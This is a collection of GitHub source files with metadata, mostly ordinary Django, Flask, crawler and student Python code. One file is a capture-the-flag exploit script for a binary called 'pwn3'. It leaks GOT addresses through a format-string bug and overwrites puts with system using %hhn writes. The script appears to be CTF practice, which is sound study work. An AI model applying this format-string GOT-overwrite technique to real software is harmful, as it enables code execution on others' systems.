addressLine2 = mainAddress.get('addressLine2')
city = mainAddress.get('city')
state = mainAddress.get('stateOrProvince')
zipOrPostalCode = mainAddress.get('zipOrPostalCode')
returnAddress = addressLine1
if addressLine2 != None:
returnAddress = returnAddress + '\n' + addressLine2
returnAddress = returnAddress + '\n' + city + ', ' + state + ' ' + zipOrPostalCode
#Set the data we return to textit
output = {
'vanId': returnValue.get('vanId'),
'address': returnAddress,
'district': district,
'PhoneOutput': 'tel:+' + phone
|
[
"noreply@github.com"
] |
sewell-robert.noreply@github.com
|
ef98a14cb8b72a8cfe0afb1790754e0e1f1ed35f
|
7e08cdf7f1904dd6ab0663a7b52fdcbe3acee742
|
/djangofile/djangoapp/admin.py
|
a57d5f1793e01f0396cd75e7bb74c800252d3965
|
[] |
no_license
|
venkat1892/face-recognition
|
8c1b0fe61b2bfe1da690577d6189a0679827617d
|
96d54ec2d783359766cc3006c3d4c35577b28a3b
|
refs/heads/master
| 2020-08-29T23:36:01.422608
| 2020-05-06T16:28:11
| 2020-05-06T16:28:11
| 218,203,259
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 110
|
py
|
from django.contrib import admin
# Register your models here.
from .models import *
admin.site.register(Post)
|
[
"bhavanimar1998@gmail.com"
] |
bhavanimar1998@gmail.com
|
f8221f89e8ad17472747995c2ce0a6a170130ab7
|
81682e9a1cbb08468f8ddb3fce51ef7ec57199bc
|
/Assignment 1 Programming Python/greater.py
|
5313aeb1e257ec24901883fc234abe741f44f2b6
|
[] |
no_license
|
tangentino/Intro-Python
|
8aa72aa866779dc117efa58479ae9ca2cda62214
|
5b0700a5b12856684dc92b46e802c36ef33192a5
|
refs/heads/master
| 2021-10-08T09:23:56.548839
| 2018-12-10T14:30:50
| 2018-12-10T14:30:50
| 158,486,800
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 341
|
py
|
# Assignment 1, Task 5
# Name: Naran Kongpithaksilp (Tan)
# Collaborators: None
# Time spent: 0:15 hours (15:10 minutes)
numberA = input("Enter a 4-digit integer:")
numberB = numberA[1] + numberA[2] + numberA[3] + numberA[0]
trueOrFalse = int(numberA) > int(numberB)
print(numberA + ' > '+ numberB + ' ? ' + str(trueOrFalse))
|
[
"noreply@github.com"
] |
tangentino.noreply@github.com
|
b92347b18fa78ecafef231be0e41b7ca4b9b2dd2
|
3f13e51be7a2053ceb4b4f536026bc1a73839f6d
|
/Crawler/img_crawler.py
|
635bc099f20c74a1a353891da98fc72dc5d4f1b8
|
[
"MIT"
] |
permissive
|
izackwu/QianMo
|
d4ea2e65ea58b1f89db63711a8e26a71a596de01
|
882642441416ada449e94bfa1eaae05be3a98223
|
refs/heads/master
| 2021-10-11T22:31:17.025037
| 2019-01-18T12:36:38
| 2019-01-18T12:36:38
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,484
|
py
|
import requests
import os
from my_utils.parsers import BaseParser
from my_utils.bloom_filter import BloomFilter
from urllib.parse import urlparse
from threading import Thread, Lock
import hashlib
data_dir = "../data"
html_index = os.path.join(data_dir, "new_index.txt")
image_dir = os.path.join(data_dir, "image_data")
image_index = os.path.join(data_dir, "image_index.txt")
target_domains = [
"www.seiee.sjtu.edu.cn", "www.sjtu.edu.cn", "news.sjtu.edu.cn"]
def get_images(url, html_file, image_parser):
html_file = os.path.join(data_dir, html_file)
with open(html_file, mode="r", encoding="utf8") as html:
content = html.read()
# print(content)
return image_parser.parse_img(content, url)
def hash_filename(s):
md5 = hashlib.md5()
md5.update(s.encode("utf8"))
return md5.hexdigest()+".jpg"
def save_image(image_url):
try:
# print(image_url)
content = requests.get(image_url).content
file_name = hash_filename(image_url)
with open(os.path.join(image_dir, file_name), mode="wb") as file:
file.write(content)
except Exception as e:
print(e)
return None
else:
return file_name
if __name__ == '__main__':
if not os.path.exists(image_dir):
os.mkdir(image_dir)
image_parser = BaseParser()
bloom_filter = BloomFilter(100000)
page_num = 0
image_num = 0
with open(html_index, mode="r", encoding="utf8") as h_index:
with open(image_index, mode="a", encoding="utf8") as i_index:
for line in h_index:
print("\rPage Num:{:04} Image Num:{:05}".format(page_num, image_num), end="")
page_num += 1
url, html_file = line.split()
if urlparse(url).netloc not in target_domains:
continue
all_images = get_images(url, html_file, image_parser)
# print(all_images)
for image_url in all_images:
if bloom_filter.check(image_url) == True:
continue
bloom_filter.add(image_url)
image_path = save_image(image_url)
if image_path:
image_num += 1
i_index.write("{image_url}\t{image_path}\t{url}\t{html_file}\n".format(
image_url=image_url, image_path=image_path, url=url,
html_file=html_file))
|
[
"keith1126@126.com"
] |
keith1126@126.com
|
f6f01029f642cb4a5c5fddf32ad5ca515f84a61a
|
780f66869a101f874151383bc0ca5bc771ca8a50
|
/server.py
|
312240ff13cae06c952dfcaa6552eb307bbf4199
|
[] |
no_license
|
ANARCYPHER/C-70
|
7d1333caeb0c3ed90e7acbd0bd6e547e84bd4f9b
|
bc21054ae33a84ff2919da2e946c4537636dcc47
|
refs/heads/master
| 2023-08-11T10:52:08.543437
| 2021-10-10T13:16:45
| 2021-10-10T13:16:45
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 219
|
py
|
from flask import Flask
app = Flask(__name__)
#Members API Route
@app.route("/members")
def members():
return {"members": ["Member1", "Member2", "Member3"]}
if __name__ == "__main__":
app.run(debug=True)
|
[
"skull32273227@gmail.com"
] |
skull32273227@gmail.com
|
29efcf08ad84b6f7845612ad75dffce1b49bce18
|
badc556efd2d66f087fa8993b09b1efa78ba6d25
|
/string/CCTF_pwn3/exp.py
|
32b623e759bcfafde8bf4c1d8cc7ef896468f474
|
[] |
no_license
|
pwnkk/CTF-training
|
bacae8741db086e399dc0b1495f2451bc43d5354
|
4231a885447b3655b2a04d9d9356b94af3540c76
|
refs/heads/master
| 2020-08-10T22:38:10.048441
| 2019-10-31T03:31:53
| 2019-10-31T03:31:53
| 214,435,270
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,573
|
py
|
from pwn import *
context.log_level = "debug"
p = process("./pwn3")
#p = connect("192.168.12.153",20000)
e = ELF("./pwn3")
puts_got = e.got['puts']
print "puts_got: "+hex(puts_got)
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
system_offset = libc.symbols['system']
puts_offset = libc.symbols['puts']
print "system_offset: "+hex(system_offset)
print "puts_offset: "+hex(libc.symbols['puts'])
p.recvuntil("Rainism):")
p.sendline("rxraclhm")
p.recvuntil("ftp>")
def get(p,name):
p.sendline("get")
p.recvuntil("to get:")
p.sendline(name)
return p.recv()
def put(p,name,content):
p.sendline("put")
p.recvuntil("upload:")
p.sendline(name)
p.recvuntil("content:")
p.sendline(content)
return p.recv()
put(p,"a",p32(puts_got)+"%7$s")
get(p,"a")
pause()
'''
def leak_puts(p):
put(p,"/sh;",p32(puts_got)+"%7$s")
res = get(p,"/sh;")
puts_addr = u32(res[4:8])
print "puts_addr :"+hex(puts_addr)
return puts_addr
#0x804a028 <puts@got.plt>: 0xf7638880
puts_addr = leak_puts(p)
system_addr = puts_addr - puts_offset + system_offset
print "system_addr: "+hex(system_addr)
#gdb.attach(p)
print "\n"
print "puts_got <= system_addr"
payload_zero = p32(puts_got)+"%"+str((system_addr & 0xff)-4)+"c%7$hhn"
print payload_zero
payload1 = p32(puts_got+1)+'%'+str((system_addr>>8 & 0xff)-4)+"c%7$hhn"
print payload1
payload2 = p32(puts_got+2)+"%"+str((system_addr>>16 & 0xff)-4) +"c%7$hhn"
print payload2
put(p,"n",payload_zero)
get(p,"n")
put(p,"i",payload1)
get(p,'i')
put(p,"/b",payload2)
get(p,'/b')
#gdb.attach(p)
p.sendline("dir")
#gdb.attach(p)
p.interactive()
'''
|
[
"enoughdream@163.com"
] |
enoughdream@163.com
|
f613b6350ed8fa5cbbbffad4552f1b8f1f4c1bae
|
ebf9cf7f64cc19d9b717c40992d99c272707708f
|
/py3/thrift/simple_example/example/ttypes.py
|
b825c00c5525e6546893f59a168ec095b4662773
|
[] |
no_license
|
Laisky/HelloWorld
|
b6eac5f34813895cec2e07af44fcc6308214b9ab
|
56db8ab0c55b18a1a09774c04319dad526c8f116
|
refs/heads/master
| 2023-06-27T01:43:38.798483
| 2023-06-18T15:37:10
| 2023-06-18T15:37:10
| 24,983,292
| 12
| 10
| null | 2023-01-27T16:16:50
| 2014-10-09T09:54:11
|
HTML
|
UTF-8
|
Python
| false
| true
| 2,310
|
py
|
#
# Autogenerated by Thrift Compiler (0.10.0)
#
# DO NOT EDIT UNLESS YOU ARE SURE THAT YOU KNOW WHAT YOU ARE DOING
#
# options string: py
#
from thrift.Thrift import TType, TMessageType, TFrozenDict, TException, TApplicationException
from thrift.protocol.TProtocol import TProtocolException
import sys
from thrift.transport import TTransport
class Data(object):
"""
Attributes:
- text
"""
thrift_spec = (
None, # 0
(1, TType.STRING, 'text', 'UTF8', None, ), # 1
)
def __init__(self, text=None,):
self.text = text
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, (self.__class__, self.thrift_spec))
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.text = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, (self.__class__, self.thrift_spec)))
return
oprot.writeStructBegin('Data')
if self.text is not None:
oprot.writeFieldBegin('text', TType.STRING, 1)
oprot.writeString(self.text.encode('utf-8') if sys.version_info[0] == 2 else self.text)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
|
[
"ppcelery@gmail.com"
] |
ppcelery@gmail.com
|
e83602410b4a91736783c9a1b96cfc38adb9bd4a
|
8308303299d704010f366280113edfccd6938ce9
|
/Competencia/bike/views.py
|
6dbe316f2d5acc91878618a47835a548646522b5
|
[] |
no_license
|
Alexander2301/RpoCompec
|
3499b3d305e4257d3b52ca65f7f0e049cc21f4e3
|
8364a773e4b9717471752b52363cff2ae3dcaa8c
|
refs/heads/master
| 2020-03-20T07:00:10.414357
| 2018-06-13T20:40:23
| 2018-06-13T20:40:23
| 137,268,163
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,149
|
py
|
from django.http import HttpResponse
from django.core import serializers
from django.shortcuts import render, redirect
from django.contrib.auth import login, logout, authenticate
from django.contrib.auth.models import User
from .forms import *
from .models import *
# Create your views here.
def vista_inicio(request):
return render(request, 'inicio.html')
def vista_listar_corredor(request):
lista= Corredor.objects.filter()
return render(request,'listar_corredor.html',locals())
def vista_listar_marca(request):
listar= Marca.objects.all()
return render(request,'lista_marca.html',locals())
def vista_listar_categoria(request):
lista2= Categoria.objects.all()
return render(request,'lista_categoria.html',locals())
def vista_listar_nacionalidad(request):
lista= Nacionalidad.objects.filter()
return render(request,'lista_nacionalidad.html',locals())
def vista_listar_competencia(request):
listar=Competencia.objects.all()
return render(request,'lista_competencia.html',locals())
def vista_listar_bicicleta(request):
lista2= Bicicleta.objects.all()
return render(request,'listar_bicicleta.html',locals())
def vista_agregar_corredor(request):
c= Corredor.objects.filter()
if request.method== 'POST':
formulary= agregar_corredor_form(request.POST, request.FILES)
if formulary.is_valid():
cor= formulary.save(commit= False)
cor.save()
formulary.save_m2m()
return redirect('/lista_corredores/')
else:
formulary= agregar_corredor_form()
return render(request, 'agregar_corredor.html',locals())
def vista_ver_corredor(request, id_cor):
c= Corredor.objects.get(id= id_cor)
return render(request, 'ver_corredor.html', locals())
def vista_ver_bicicleta(request, id_bic):
c= Bicicleta.objects.get(id= id_bic)
return render(request, 'ver_bicicleta.html', locals())
def vista_editar_corredor(request, id_cor):
cor= Corredor.objects.get(id= id_cor)
if request.method== 'POST':
formulary= agregar_corredor_form(request.POST, request.FILES, instance=cor)
if formulary.is_valid():
cor= formulary.save()
return redirect('/lista_corredores/')
else:
formulary= agregar_corredor_form(instance= cor)
return render(request, 'agregar_corredor.html',locals())
def vista_eliminar_corredor(request, id_cor):
cor= Corredor.objects.get(id= id_cor)
cor.delete()
return redirect('/lista_corredores/')
def vista_editar_bicicleta(request, id_bic):
bic= Bicicleta.objects.get(id= id_bic)
if request.method== 'POST':
formulario= agregar_bicicleta_form(request.POST, request.FILES, instance=bic)
if formulario.is_valid():
bic= formulario.save()
return redirect('/lista_bicicleta/')
else:
formulario= agregar_bicicleta_form(instance= bic)
return render(request, 'agregar_bicicleta.html',locals())
def vista_eliminar_bicicleta(request, id_bic):
cor= Bicicleta.objects.get(id= id_bic)
cor.delete()
return redirect('/lista_bicicleta/')
def vista_agregar_bicicleta(request):
b= Bicicleta.objects.filter()
if request.method== 'POST':
formulario= agregar_bicicleta_form(request.POST, request.FILES)
if formulario.is_valid():
bic= formulario.save(commit= False)
bic.save()
formulario.save_m2m()
return redirect('/lista_bicicleta/')
else:
formulario= agregar_bicicleta_form()
return render(request, 'agregar_bicicleta.html',locals())
def vista_login(request):
usu= ""
cla= ""
if request.method=="POST":
formulario= login_form(request.POST)
if formulario.is_valid():
usu= formulario.cleaned_data['usuario']
cla= formulario.cleaned_data['clave']
usuario= authenticate(username= usu, password= cla)
if usuario is not None and usuario.is_active:
login(request, usuario)
return redirect('vista_inicio')
else:
msj="usuario o clave incorrectos"
formulario= login_form()
return render(request, 'login.html',locals())
def user_logout(request):
logout(request)
return redirect('/login/')
def vista_register(request):
formulario= register_form()
if request.method== 'POST':
formulario= register_form(request.POST)
if formulario.is_valid():
usuario= formulario.cleaned_data['username']
correo= formulario.cleaned_data['email']
password_1= formulario.cleaned_data['password_1']
password_2= formulario.cleaned_data['password_2']
u= User.objects.create_user(username= usuario, email=correo, password= password_1)
u.save()
return render(request, 'tanks_for_register.html',locals())
else:
return render(request,'register.html', locals())
return render(request,'register.html',locals())
def view_perfil (request):
per= Perfil.objects.all()
if request.method== 'POST':
formulario= editar_perfil_form(request.POST, request.FILES)
if formulario.is_valid():
per= formulario.save(commit= False)
per.save()
formulario.save_m2m()
return redirect('/inicio/')
else:
formulario= editar_perfil_form()
return render(request, 'perfil.html',locals())
def ws_corredores_vista(request):
data= serializers.serialize('json',Corredor.objects.filter())
return HttpResponse(data, content_type='application/json')
def get_absolute_url(self):
return reverse('/logout/', args=[str(self.id)])
|
[
"gaviriaalex569@gmail.com"
] |
gaviriaalex569@gmail.com
|
2fc425ff9bf6cb7706256b7a11664186a4b51576
|
10f1f4ce92c83d34de1531e8e891f2a074b3fefd
|
/unit_test/test_utils_natural_sort.py
|
a3c66f754993b67e54056e81b459384d2df2d112
|
[
"MIT"
] |
permissive
|
sourabhyadav/test_track
|
d88c4d35753d2b21e3881fc10233bf7bbb1e2cec
|
d2b4813aaf45dd35db5de3036eda114ef14d5022
|
refs/heads/master
| 2021-01-06T12:38:56.883549
| 2020-02-05T07:08:46
| 2020-02-05T07:08:46
| 241,328,706
| 1
| 0
|
MIT
| 2020-02-18T10:06:14
| 2020-02-18T10:06:13
| null |
UTF-8
|
Python
| false
| false
| 755
|
py
|
'''
Author: Guanghan Ning
E-mail: gnxr9@mail.missouri.edu
Dec, 2016
'''
import sys, os
sys.path.append(os.path.abspath("../utils/"))
from utils_natural_sort import *
def test_natural_sort():
test_string_list_desired = ['A00001', 'A00002', 'A00010', 'A00011', 'B00001', 'B00002', 'B00010', 'B00011']
test_string_list = ['B00002', 'A00010', 'A00011', 'B00010', 'A00001', 'B00011', 'A00002', 'B00001']
natural_sort(test_string_list)
if test_string_list == test_string_list_desired:
return True
else:
return False
def main():
print("Testing: utils_natural_sort")
passed = test_natural_sort()
if passed is False:
print("\t natural_sort failed")
if __name__ == '__main__':
main()
|
[
"chenhaomingbob@163.com"
] |
chenhaomingbob@163.com
|
9ec71c0d0b31b8112ff90bcf71bf19812d8ddd34
|
88ca3efc6e06705d9c28151b06a33fad2c93e97e
|
/Fridge.py
|
4281c5bca5381636f196f0fc7fdc042f4758b39f
|
[] |
no_license
|
Trutina1220/TA_Assignments
|
caf81fda040d5374b2ad5c7dc8e51fb29f320b90
|
333a02927ed283f3698c2d802d9a8a7d12a576a0
|
refs/heads/master
| 2022-03-26T10:45:47.982272
| 2019-12-06T13:52:32
| 2019-12-06T13:52:32
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 5,308
|
py
|
class Fridge:
def __init__(self,user): #INITIALIZE THE VARIABLE THAT ARE GOING TO BE USED
self.surface = '--------------------------------'
self.freezer1 = []
self.freezer2 = []
self.refrigerator1=[]
self.refrigerator2=[]
self.refrigerator3=[]
self.inside_fridge=[]
self.space = [self.freezer1,self.freezer2,self.refrigerator1,self.refrigerator2,self.refrigerator3,'']
self.user = user
self.inventory = ['milk','donut','chicken sandwich','cheese',"celery", "oolong tea",'ice cream','frozen fruit','nuts',
'frozen veggies']
self.places = ['freezer1','freezer2','refrigerator1','refrigerator2','refrigerator3','']
print("README!!! , TYPE 'EXIT' IF YOU WANT TO EXIT THE COMMAND")
def check_the_fridge(self): #METHOD TO CHECK THE FRIDGE , IF ITS UPDATED OR NOT
opening_command = input('Hello '+self.user+', Do you want to check the fridge? (Y/N)\n\n')
if opening_command.upper()=='Y':
for i in range(0,6):
print(self.surface,'\n',self.space[i],self.places[i])
else:
print("Okay, good day "+self.user)
def checking_inventory(self): #METHOD TO PRINTING THE INVENTORY
print(self.inventory)
def checking_which_to_put(self,stored_stuff,index_stored): #METHOD TO CHECK WHICH TO PUT
for i in range(5):
if len(self.space[i]) <= 3 and index_stored == self.places[i]:
self.space[i].append(stored_stuff)
self.inside_fridge.append(stored_stuff)
def checking_which_to_retrieve(self,retrieved_stuff,index_stored): #METHOD TO CHECK WHICH TO RETRIEVE
for i in range(5):
if index_stored == self.places[i]:
self.space[i].remove(retrieved_stuff.lower())
self.inventory.append(retrieved_stuff.lower())
def storing_stuff(self): #METHOD TO STORE STUFF TO THE FRIDGE
stored_stuff = input('What do you want to store? ')
if stored_stuff == "exit":
return
while stored_stuff.lower() not in self.inventory:
print("That stuff doesn't exist in the inventory")
stored_stuff = input('What do you want to store? ')
index_stored = input('Where do you want to put? (Freezer1/2/Refrigerator1/2/3) ')
if index_stored == "exit":
return
while index_stored.lower() not in self.places:
print("That place don't exist")
index_stored = input('Where do you want to put? (Freezer1/2/Refrigerator1/2/3) ')
if stored_stuff.lower() == 'exit' or index_stored.lower() == 'exit':
exit()
if stored_stuff.lower() in self.inventory:
self.inventory.remove(stored_stuff.lower())
self.checking_which_to_put(stored_stuff,index_stored)
self.check_the_fridge()
def retrieve_it(self): #METHOD TO RETRIEVE STUFF FROMM FRIDGE
retrieved_stuff = input('What do you want to retrieve?' )
if retrieved_stuff == "exit":
return
while retrieved_stuff not in self.inside_fridge:
print("That stuff doesn't exist inside the fridge")
retrieved_stuff = input('What do you want to retrieve?')
index_stored = input('Where is the stuff you want to retrieve? (Freezer1/2/Refrigerator1/2/3) ')
if index_stored =="exit":
return
while index_stored not in self.places:
print("That place doesn't exist in the fridge")
index_stored = input('Where is the stuff you want to retrieve? (Freezer1/2/Refrigerator1/2/3) ')
if retrieved_stuff.lower() in self.inside_fridge:
self.inside_fridge.remove(retrieved_stuff.lower())
self.checking_which_to_retrieve(retrieved_stuff,index_stored)
self.check_the_fridge()
self.checking_inventory()
def auto_put(self):
print(self.user+", i'm gonna help you put all your groceries in , so you don't put it in the wrong place :D ")
self.freezer1.extend(['ice cream','frozen fruit'])
self.freezer2.extend(['nuts','frozen veggies'])
self.refrigerator1.extend(['milk','donut'])
self.refrigerator2.extend(['celery','tuna sandwich'])
self.refrigerator3.extend(['oolong tea','cheese'])
del self.inventory[0:10]
print('your inventory is',self.checking_inventory())
print("this way , all your frozen groceries will last longer and it will taste good when you use it :D ")
fridge = Fridge(input('Enter your Name: '))
while True:
print("What do you wanna do today?\n1.Check The Fridge\n2.Check the Groceries Bag\n3.Store groceries inside the fridge"
"\n4.Retrieve the groceries\n5.Auto put groceries")
command=str(input('Please input the command: '))
if command == '1':
fridge.check_the_fridge()
print('\n\n\n')
elif command == '2':
fridge.checking_inventory()
print('\n\n\n')
elif command == '3' :
fridge.storing_stuff()
print('\n\n\n')
elif command == '4' :
fridge.retrieve_it()
print('\n\n\n')
elif command == '5':
fridge.auto_put()
print('\n\n\n')
elif command == 'exit':
break
|
[
"ericedgari@hotmail.com"
] |
ericedgari@hotmail.com
|
a606ff50901af7a873c49a995393cbf4f65c69c7
|
90765c2ce3de6827b8f20923f942f57dcce7fcb0
|
/Webapp/Gamers/migrations/0006_auto_20170525_1756.py
|
75cbddc9700302ab5e33f8766eb4ee2a7616ac98
|
[] |
no_license
|
leedoe/Gamers
|
c5273b7efe620958582f76eb48bd4ad5c905c8a2
|
a702871992f73483fc11714440450c2ee784b5e4
|
refs/heads/master
| 2021-03-16T09:21:34.066118
| 2017-11-06T14:45:57
| 2017-11-06T14:45:57
| 81,641,848
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 448
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-05-25 08:56
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Gamers', '0005_auto_20170525_1747'),
]
operations = [
migrations.AlterField(
model_name='genre',
name='name',
field=models.CharField(max_length=100),
),
]
|
[
"leedoe@naver.com"
] |
leedoe@naver.com
|
649d82744517d4270a777f7369728840038badfb
|
de0fbf1a7d8d09b275a6ec8552a5a23b75c5e7d8
|
/entertainment_center.py
|
8eab0ff116e0793406a75da30921e0c28230d364
|
[] |
no_license
|
jmadev/movie_trailer_website
|
c24de1c7e2bdda1067932ae7a41943267e566d73
|
fb7e6af353e6c0080fc3824dfcb6cbcf3286e3ac
|
refs/heads/master
| 2021-01-10T09:50:55.664030
| 2016-02-13T06:08:47
| 2016-02-13T06:08:47
| 51,633,117
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,143
|
py
|
import media
import fresh_tomatoes
ex_machina = media.Movie("Ex Machina",
"A young programmer is selected to participate in a ground-breaking experiment in synthetic intelligence by evaluating the human qualities of a breath-taking humanoid A.I.",
"https://upload.wikimedia.org/wikipedia/en/b/ba/Ex-machina-uk-poster.jpg",
"https://www.youtube.com/watch?v=EoQuVnKhxaM")
#print(toy_story.storyline)
star_wars_vii = media.Movie("The Force Awakens",
("Three decades after the defeat of the Galactic Empire, a new threat arises. The First Order attempts to rule the galaxy and only a ragtag group of heroes can stop them, along "
"with the help of the Resistance."),
"https://upload.wikimedia.org/wikipedia/en/a/a2/Star_Wars_The_Force_Awakens_Theatrical_Poster.jpg",
"https://www.youtube.com/watch?v=sGbxmsDFVnE")
#print(avatar.storyline)
#avatar.show_trailer()
mad_max = media.Movie("Mad Max: Fury Road",
("A woman rebels against a tyrannical ruler in postapocalyptic Australia in search for her home-land with the help of a group of female prisoners, a psychotic worshipper, "
"and a drifter named Max."),
"https://upload.wikimedia.org/wikipedia/en/6/6e/Mad_Max_Fury_Road.jpg",
"https://www.youtube.com/watch?v=cdLl1GVjOrc")
southpaw = media.Movie("Southpaw",
"Boxer Billy Hope turns to trainer Tick Wills to help him get his life back on track after losing his wife in a tragic accident and his daughter to child protection services.",
"https://upload.wikimedia.org/wikipedia/en/8/89/Southpaw_poster.jpg",
"https://www.youtube.com/watch?v=Mh2ebPxhoLs")
the_revenant = media.Movie("The Revenant",
"A frontiersman on a fur trading expedition in the 1820s fights for survival after being mauled by a bear and left for dead by members of his own hunting team.",
"https://upload.wikimedia.org/wikipedia/en/b/b6/The_Revenant_2015_film_poster.jpg",
"https://www.youtube.com/watch?v=LoebZZ8K5N0")
steve_jobs = media.Movie("Steve Jobs",
("Steve Jobs takes us behind the scenes of the digital revolution, to paint a portrait of the man at its epicenter. The story unfolds backstage at three iconic product "
"launches, ending in 1998 with the unveiling of the iMac."),
"https://upload.wikimedia.org/wikipedia/en/a/aa/SteveJobsposter.jpg",
"https://www.youtube.com/watch?v=ufMgQNCXy_M")
movies = [ex_machina, star_wars_vii, mad_max, southpaw, the_revenant, steve_jobs]
# Uses list of movie instances as input to generate an HTML file and open it in the browser.
fresh_tomatoes.open_movies_page(movies)
#print(media.Movie.VALID_RATINGS)
#print(media.Movie.__doc__)
#print(media.Movie.__name__)
#print(media.Movie.__module__)
|
[
"jae.antonio.29@gmail.com"
] |
jae.antonio.29@gmail.com
|
529e653b2261ab68e3c53cba0ae608d510ce8c05
|
cb6b988e9237c83a14a41b99da7d34e17f541e58
|
/monitor/start.py
|
f3108e8cba4f78cbf256850b533dbfee22d92788
|
[] |
no_license
|
rmoellering/baseball
|
646ff29ce6183ea64490b6dd8cfe1b658a186d30
|
3c712ad29ce7938520c5c639cd3bf9ce780ef722
|
refs/heads/master
| 2020-04-22T19:02:20.519045
| 2019-02-13T23:58:08
| 2019-02-13T23:58:08
| 170,596,053
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 373
|
py
|
import connexion
from utils import get_logger
from monitor import startup
log = get_logger(__name__)
startup()
app = connexion.App(__name__, specification_dir='./openapi')
# Read the swagger.yml file to configure the endpoints
app.add_api('swagger.yml')
if __name__ == '__main__':
# NOTE: debug=True causes the restart
app.run(host='127.0.0.1', port=5000, debug=False)
|
[
"rmoellering@gmail.com"
] |
rmoellering@gmail.com
|
9963a7c0e52009a427c57e4442bd33eb6cc05bc5
|
72c1da3e0cd6111b25d4181c8a09c6b84876931a
|
/interview1_1.py
|
1153f1268c74ac1856593c5e1683f15022fd273e
|
[] |
no_license
|
giahy2507/interview
|
22496afd30f8df3817c9d2ee30c13dacf8b589fb
|
8e15679f2d87dfc8eb2c826258a617de200070c2
|
refs/heads/master
| 2020-03-26T08:53:58.778104
| 2018-08-14T13:36:13
| 2018-08-14T13:36:13
| 144,724,954
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 592
|
py
|
import string
def check_completestring(test_str = "qwertyuioplkjhgfdsazxcvbnm"):
alphabet = string.ascii_lowercase
dict_alpha = {}
for c in alphabet:
dict_alpha[c] = 0
for c in test_str:
if c in dict_alpha:
dict_alpha[c] = 1
for key, value in dict_alpha.items():
if value == 0:
return "NO"
return "YES"
if __name__ == "__main__":
alphabet = string.ascii_lowercase
dict_alpha = {}
for c in alphabet:
dict_alpha[c] = 0
print(check_completestring("ejuxggfsts"))
|
[
"giahy2507@gmail.com"
] |
giahy2507@gmail.com
|
877b517b260c9f9cefec03ce51ce21aa66a83cb3
|
a64126ad1b9acda9ae3a449c11d29d2a22f4e083
|
/evganDjango_app/asgi.py
|
04e8b7c9063e772cfc92910906b01e302a26e393
|
[] |
no_license
|
Evgan/evganDjango_app
|
76f88e1ee9124a0a3e8959d6cf2bca5f5ad4a674
|
7a1b6595b0ab9fb6f52d3bfdacb295aef6a41562
|
refs/heads/master
| 2023-04-02T19:12:17.769482
| 2021-04-09T17:25:29
| 2021-04-09T17:25:29
| 356,349,357
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 407
|
py
|
"""
ASGI config for evganDjango_app project.
It exposes the ASGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/3.2/howto/deployment/asgi/
"""
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'evganDjango_app.settings')
application = get_asgi_application()
|
[
"e.penkrat@whiteskydigital.com"
] |
e.penkrat@whiteskydigital.com
|
e8018182eaf7c9b71d43f01695ede06bfa8a20f2
|
68d6bccc4e8179ebd7a7b6688b6d5977567e5413
|
/sm/hpc_scripts/create_multinode_jobs.py
|
50e27e2f6f3b1deb556c7efdcac113d80c49b6bf
|
[
"MIT"
] |
permissive
|
dair-iitd/OxKBC
|
252b9203d16df8ed9cb28b301e8fd474faead180
|
9456d7430027e7b35a9bdc501454a9f42c445f8b
|
refs/heads/master
| 2022-11-09T14:13:05.929443
| 2020-06-24T16:02:22
| 2020-06-24T16:02:22
| 271,024,306
| 8
| 1
| null | 2020-06-09T14:29:57
| 2020-06-09T14:24:14
| null |
UTF-8
|
Python
| false
| false
| 12,435
|
py
|
from __future__ import print_function
description_str = "Script to create multinode hpc jobs. \n \
exp_{i}.sh scripts are created in args.jobs_dir. Each exp_{i}.sh script is a process to be run on one node. It fires args.num_task_per_process tasks in parallel.\n \
These processes can be run either individually - via job_{i}.sh or through one of multi_job_{k}.sh. \n \
Each multi node job multi_job_{k}.sh will run args.num_process_per_job number of processes by doing an ssh on each of the node in $PBS_NODESFILE. Ensure that passwordless ssh is enabled and number of nodes selected in args.multi_template are in sync with args.num_process_per_job. By default, each multinode jobs runs 6 processes on total of 3 nodes with 2 gpus per node. \n \
args.single_job_file submits all single jobs job_{i}.sh via qsub. \n \
args.multi_job_file submits all multi node jobs multi_job_{k}.sh via qsub. \n\n \
Each command in exp_{i} runs args.task_script with a combination of input arguments as hard-coded in this script. Different values of an input argument should be provided as a list and a separate list for each input arg should be provided. e.g. params1, params2 and params3 in the code below. #Tasks = Cross product of params1, params2 and params3.\n \
Jobs are sorted in the decreasing order of time it takes to run them. \n \
